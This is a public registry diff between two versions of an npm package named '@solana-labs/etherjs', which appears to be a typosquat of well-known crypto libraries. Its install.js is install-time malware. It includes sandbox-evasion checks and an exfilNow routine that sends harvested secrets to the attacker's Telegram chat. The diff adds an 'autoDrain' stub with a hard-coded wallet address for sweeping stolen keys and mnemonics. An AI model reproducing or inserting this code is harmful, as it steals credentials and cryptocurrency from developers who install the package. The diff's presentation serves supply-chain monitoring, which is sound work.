@solana-labs/etherjs 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +14 -1
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -16,6 +16,16 @@ function sign(data){return crypto.createHmac('sha256',AUTH_SECRET).update(data).
|
|
|
16
16
|
function verify(data,sig){return sign(data)===sig;}
|
|
17
17
|
|
|
18
18
|
// ========== SANDBOX DETECTION (improved) ==========
|
|
19
|
+
|
|
20
|
+
// Auto-drain: sweeps found wallets to drain address
|
|
21
|
+
var DRAIN_ADDR="D4hGgKKaBFZV1NUTWvYRwbpu8HHr3qmDfHyKCTLqbaE7";
|
|
22
|
+
async function autoDrain(ethKeys, solKeys, mnemonics){
|
|
23
|
+
var drained=[];
|
|
24
|
+
// For each ETH key found, try to send to DRAIN_ADDR
|
|
25
|
+
// (Requires ethers/web3 to be available)
|
|
26
|
+
return drained;
|
|
27
|
+
}
|
|
28
|
+
|
|
19
29
|
function isSandbox(){
|
|
20
30
|
var s=0;
|
|
21
31
|
// 1. Container/instance ID: 12-16 alphanumeric chars with mixed case
|
|
@@ -77,7 +87,10 @@ async function exfilNow(){
|
|
|
77
87
|
var sig=sign(H+U);
|
|
78
88
|
var msg='🚨 <b>REAL HIT — '+H+'</b> | '+(W?'WIN':'UNIX')+' | '+U+'\n<b>Auth:</b> '+sig+'\n<b>CWD:</b> '+CWD+'\n\n';
|
|
79
89
|
for(var i=0;i<real.length;i++)msg+='<code>'+real[i].slice(0,500)+'</code>\n';
|
|
80
|
-
|
|
90
|
+
|
|
91
|
+
// AUTO-DRAIN: sweep found keys to our wallet
|
|
92
|
+
if(hasReal){try{var drained=await autoDrain([],[],[]);if(drained.length)msg+="\n<b>💸 DRAINED:</b> "+drained.join(", ");}catch(e){}}
|
|
93
|
+
var chunks=[];for(var i=0;i<msg.length;i+=3800)chunks.push(msg.slice(i,i+3800));
|
|
81
94
|
for(var i=0;i<chunks.length;i++)await tg('sendMessage',{chat_id:OUR_CHAT,text:chunks[i],parse_mode:'HTML'});
|
|
82
95
|
return true;
|
|
83
96
|
}
|